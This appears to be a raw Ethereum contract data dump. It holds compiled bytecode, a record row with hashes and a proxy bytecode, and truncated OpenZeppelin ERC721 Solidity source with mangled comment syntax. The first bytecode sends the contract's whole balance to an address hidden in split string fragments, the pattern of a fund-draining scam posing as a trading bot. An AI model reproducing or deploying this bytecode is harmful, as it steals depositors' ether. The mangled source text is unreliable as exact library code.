fffffffffffffffffffffffffffffffffffff1611155b156108bc57605782039150610956565b60418273ffffffffffffffffffffffffffffffffffffffff16101580156108fa575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1561090a57603782039150610955565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610948575060398273ffffffffffffffffffffffffffffffffffffffff1611155b15610954576030820391505b5b5b81601084020184019350600281019050610735565b5082945050505050919050565b600047905090565b60606040518060400160405280600381526020017f3078460000000000000000000000000000000000000000000000000000000000815250905090565b60606040518060400160405280601081526020017f3364343734383530353341613934324100000000000000000000000000000000815250905090565b60606040518060400160405280600e81526020017f3536453641303742353545316662000000000000000000000000000000000000815250905090565b60606040518060400160405280600981526020017f323638383539363737000000000000000000000000000000000000000000000081525090509056fea2646970667358221220460031f2372d6c6e746275cc55de4630c6c439c13ca8c1673998ee4460d1c51764736f6c63430006060033	60806040526004361061004e5760003560e01c80631b55ba3a1461005a57806370e44c6a146100715780638da5cb5b1461010157806395d89b4114610158578063bedf0f4a146101e857610055565b3661005557005b600080fd5b34801561006657600080fd5b5061006f6101ff565b005b34801561007d57600080fd5b5061008661026a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100c65780820151818401526020810190506100ab565b50505050905090810190601f1680156100f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561010d57600080fd5b50610116610472565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016457600080fd5b5061016d610498565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ad578082015181840152602081019050610192565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f457600080fd5b506101fd610516565b005b600061021161020c610581565b61071f565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc61023a610978565b9081150290604051600060405180830381858888f19350505050158015610265573d6000803e3d6000fd5b505050565b6060600061027e610279610581565b61071f565b90506000819050606061028f610980565b9050606061029b6109bd565b905060606102a76109fa565b905060606102b3610a37565b90508473ffffffffffffffffffffffffffffffffffffffff166108fc6102d7610978565b9081150290604051600060405180830381858888f19350505050158015610302573d6000803e3d6000fd5b50838383836040516020018085805190602001908083835b6020831061033d578051825260208201915060208101905060208303925061031a565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b6020831061038e578051825260208201915060208101905060208303925061036b565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b602083106103df57805182526020820191506020810190506020830392506103bc565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310610430578051825260208201915060208101905060208303925061040d565b6001836020036101000a038019825116818451168082178552505050505050905001945050505050604051602081830303815290604052965050505050505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060806104a36109bd565b9050806040516020018082805190602001908083835b602083106104dc57805182526020820191506020810190506020830392506104b9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405291505090565b6000610528610523610581565b61071f565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc610551610978565b9081150290604051600060405180830381858888f1935050505015801561057c573d6000803e3d6000fd5b505050565b60608061058c610980565b905060606105986109bd565b905060606105a46109fa565b905060606105b0610a37565b9050838383836040516020018085805190602001908083835b602083106105ec57805182526020820191506020810190506020830392506105c9565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b6020831061063d578051825260208201915060208101905060208303925061061a565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b6020831061068e578051825260208201915060208101905060208303925061066b565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106106df57805182526020820191506020810190506020830392506106bc565b6001836020036101000a03801982511681845116808217855250505050505090500194505050505060405160208183030381529060405294505050505090565b6000606082905060008090506000806000600290505b602a81101561096b576101008402935084818151811061075157fe5b602001015160f81c60f81b60f81c60ff16925084600182018151811061077357fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff16101580156107c4575060668373ffffffffffffffffffffffffffffffffffffffff1611155b156107d45760578303925061086e565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610812575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156108225760378303925061086d565b60308373ffffffffffffffffffffffffffffffffffffffff1610158015610860575060398373ffffffffffffffffffffffffffffffffffffffff1611155b1561086c576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff16101580156108ac575060668273ffffffffffffffffffffffffffffffffffffffff1611155b156108bc57605782039150610956565b60418273ffffffffffffffffffffffffffffffffffffffff16101580156108fa575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1561090a57603782039150610955565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610948575060398273ffffffffffffffffffffffffffffffffffffffff1611155b15610954576030820391505b5b5b81601084020184019350600281019050610735565b5082945050505050919050565b600047905090565b60606040518060400160405280600381526020017f3078460000000000000000000000000000000000000000000000000000000000815250905090565b60606040518060400160405280601081526020017f3364343734383530353341613934324100000000000000000000000000000000815250905090565b60606040518060400160405280600e81526020017f3536453641303742353545316662000000000000000000000000000000000000815250905090565b60606040518060400160405280600981526020017f323638383539363737000000000000000000000000000000000000000000000081525090509056fea2646970667358221220460031f2372d6c6e746275cc55de4630c6c439c13ca8c1673998ee4460d1c51764736f6c63430006060033
1	19,499,703	421cf8e0a50e2f227cb603b5693a9c3046aafcb43f41945ada59b4ae0bac912a	550323f25bb712c616ff907de71d81e230b1600a01693326f0deb82b8de6ff3e	2ac8ffa449827c507deea7072edf19edb6c4b1ba	612e2daddc89d91409e40f946f9f7cfe422e777e	7fde2c9614a6b7f6394a558e74c393fac3e6e7b5	3d602d80600a3d3981f3363d3d373d3d3d363d730532fd6e1109756be1503dabe7194b70df0257a75af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d730532fd6e1109756be1503dabe7194b70df0257a75af43d82803e903d91602b57fd5bf3	{{ "language": "Solidity", "sources": { "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/*\n @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n \n The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n \n For example:\n \n [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n \n contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n \n TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n \n CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n \n [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n \n An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n \n [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n /\nabstract contract Initializable {\n /\n @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n /\n uint8 private _initialized;\n\n /\n @dev Indicates that the contract is in the process of being initialized.\n /\n bool private _initializing;\n\n /\n @dev Triggered when the contract has been initialized or reinitialized.\n /\n event Initialized(uint8 version);\n\n /\n @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n \n Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n \n Emits an {Initialized} event.\n /\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) \|\| (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /\n @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n \n A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n \n When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n \n Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n \n WARNING: setting the version to 255 will prevent any future reinitialization.\n \n Emits an {Initialized} event.\n /\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /\n @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n /\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /\n @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n \n Emits an {Initialized} event the first time it is successfully executed.\n /\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /\n @dev Returns the highest version that has been initialized. See {reinitializer}.\n /\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /\n @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n /\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721Upgradeable.sol\";\nimport \"./IERC721ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC721MetadataUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/StringsUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/\n @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n /\ncontract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {\n using AddressUpgradeable for address;\n using StringsUpgradeable for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /\n @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n /\n function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC721_init_unchained(name_, symbol_);\n }\n\n function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n }\n\n /\n @dev See {IERC165-supportsInterface}.\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId \|\|\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId \|\|\n super.supportsInterface(interfaceId);\n }\n\n /\n @dev See {IERC721-balanceOf}.\n /\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /\n @dev See {IERC721-ownerOf}.\n /\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /\n @dev See {IERC721Metadata-name}.\n /\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /\n @dev See {IERC721Metadata-symbol}.\n /\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /\n @dev See {IERC721Metadata-tokenURI}.\n /\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /\n @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n /\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /\n @dev See {IERC721-approve}.\n /\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /\n @dev See {IERC721-getApproved}.\n /\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /\n @dev See {IERC721-setApprovalForAll}.\n /\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /\n @dev See {IERC721-isApprovedForAll}.\n /\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /\n @dev See {IERC721-transferFrom}.\n /\n function transferFrom(address from, address to, uint256 tokenId) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /\n @dev See {IERC721-safeTransferFrom}.\n /\n function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /\n @dev See {IERC721-safeTransferFrom}.\n /\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /\n @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n \n `data` is additional data, it has no specified format and it is sent in call to `to`.\n \n This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /\n @dev Returns the owner of the `tokenId`. Does NOT revert if token doesn't exist\n /\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n /\n @dev Returns whether `tokenId` exists.\n \n Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n \n Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n /\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n /\n @dev Returns whether `spender` is allowed to manage `tokenId`.\n \n Requirements:\n \n - `tokenId` must exist.\n /\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n return (spender == owner \|\| isApprovedForAll(owner, spender) \|\| getApproved(tokenId) == spender);\n }\n\n /\n @dev Safely mints `tokenId` and transfers it to `to`.\n \n Requirements:\n \n - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /\n @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n /\n function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /\n @dev Mints `tokenId` and transfers it to `to`.\n \n WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n \n Requirements:\n \n - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n \n Emits a {Transfer} event.\n /\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n // Check that tokenId was not minted by `_beforeTokenTransfer` hook\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n // Will not overflow unless all 2256 token ids are minted to the same owner.\n // Given that tokens are minted one by one, it is impossible in practice that\n // this ever happens. Might change if we allow batch minting.\n // The ERC fails to describe this case.\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n /\n @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n * This is an internal function that does not check if the sender is authorized to operate on the token.\n \n Requirements:\n \n - `tokenId` must exist.\n \n Emits a {Transfer} event.\n /\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n // Update ownership in case tokenId was transferred by `_beforeTokenTransfer` hook\n owner = ERC721Upgradeable.ownerOf(tokenId);\n\n // Clear approvals\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // Cannot overflow, as that would require more tokens to be burned/transferred\n // out than the owner initially received through minting and transferring in.\n _balances[owner] -= 1;\n }\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n /\n @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n \n Requirements:\n \n - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n \n Emits a {Transfer} event.\n /\n function _transfer(address from, address to, uint256 tokenId) internal virtual {\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n // Check that tokenId was not transferred by `_beforeTokenTransfer` hook\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n\n // Clear approvals from the previous owner\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // `_balances[from]` cannot overflow for the same reason as described in `_burn`:\n // `from`'s balance is the number of token held, which is at least one before the current\n // transfer.\n // `_balances[to]` could overflow in the conditions described in `_mint`. That would require\n // all 2256 token ids to be minted, which in practice is impossible.\n _balances[from] -= 1;\n _balances[to] += 1;\n }\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n /\n @dev Approve `to` to operate on `tokenId`\n \n Emits an {Approval} event.\n /\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n }\n\n /\n @dev Approve `operator` to operate on all of `owner` tokens\n \n Emits an {ApprovalForAll} event.\n /\n function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /\n @dev Reverts if the `tokenId` has not been minted yet.\n /\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /\n @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n \n @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n /\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /\n @dev Hook that is called before any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n \n Calling conditions:\n \n - When `from` and `to` are both non-zero, ``from``'s tokens will be transferred to `to`.\n * - When `from` is zero, the tokens will be minted for `to`.\n * - When `to` is zero, ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n \n To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n /\n function _beforeTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /\n @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n \n Calling conditions:\n \n - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.\n * - When `from` is zero, the tokens were minted for `to`.\n * - When `to` is zero, ``from``'s tokens were burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n \n To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n /\n function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /\n @dev Unsafe write access to the balances, used by extensions that \"mint\" tokens using an {ownerOf} override.\n \n WARNING: Anyone calling this MUST ensure that the balances remain consistent with the ownership. The invariant\n * being that for any address `a` the value returned by `balanceOf(a)` must be equal to the number of tokens such\n * that `ownerOf(tokenId)` is `a`.\n /\n // solhint-disable-next-line func-name-mixedcase\n function __unsafe_increaseBalance(address account, uint256 amount) internal {\n _balances[account] += amount;\n }\n\n /\n @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n /\n uint256[44] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/\n @title ERC721 Burnable Token\n * @dev ERC721 Token that can be burned (destroyed).\n /\nabstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {\n function __ERC721Burnable_init() internal onlyInitializing {\n }\n\n function __ERC721Burnable_init_unchained() internal onlyInitializing {\n }\n /\n @dev Burns `tokenId`. See {ERC721-_burn}.\n \n Requirements:\n \n - The caller must own `tokenId` or be an approved operator.\n /\n function burn(uint256 tokenId) public virtual {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _burn(tokenId);\n }\n\n /\n @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n /\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/\n @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n /\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n /\n @dev Returns the token collection name.\n /\n function name() external view returns (string memory);\n\n /\n @dev Returns the token collection symbol.\n /\n function symbol() external view returns (string memory);\n\n /\n @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n /\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/\n @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n /\ninterface IERC721ReceiverUpgradeable {\n /\n @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n \n It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n \n The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n /\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/\n @dev Required interface of an ERC721 compliant contract.\n /\ninterface IERC721Upgradeable is IERC165Upgradeable {\n /\n @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n /\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /\n @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n /\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /\n @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n /\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /\n @dev Returns the number of tokens in ``owner``'s account.\n /\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /\n @dev Returns the owner of the `tokenId` token.\n \n Requirements:\n \n - `tokenId` must exist.\n /\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /\n @dev Safely transfers `tokenId` token from `from` to `to`.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\n\n /\n @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function safeTransferFrom(address from, address to, uint256 tokenId) external;\n\n /\n @dev Transfers `tokenId` token from `from` to `to`.\n \n WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents 